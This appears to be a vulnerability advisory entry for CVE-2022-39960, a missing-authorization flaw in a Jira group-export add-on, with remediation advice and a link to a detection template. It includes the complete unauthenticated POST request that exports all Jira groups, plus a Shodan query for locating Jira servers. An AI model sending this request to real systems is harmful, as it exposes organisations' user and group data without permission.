| Title | Jira Netic Group Export <1.0.3 - Missing Authorization |
|---|---|
| Author | For3stCo1d |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive data. |
| Remediation | Upgrade to Jira Netic Group Export version 1.0.3 or later to fix the missing authorization issue. |
| CVSS Score | 5.3 |
| EPSS Score | 0.7815 |
| CVE ID | CVE-2022-39960 |
| CWE ID | CWE-862 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve cve2022 atlassian jira netic unauth vkev vuln |
Jira Netic Group Export add-on before 1.0.3 contains a missing authorization vulnerability. The add-on does not perform authorization checks, which can allow an unauthenticated user to export all groups from the Jira instance by making a groupexport_download=true request to a plugins/servlet/groupexportforjira/admin/ URI and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
groupexport_searchstring=&groupexport_download=true
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39960.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-39960.pcap
N/AN/A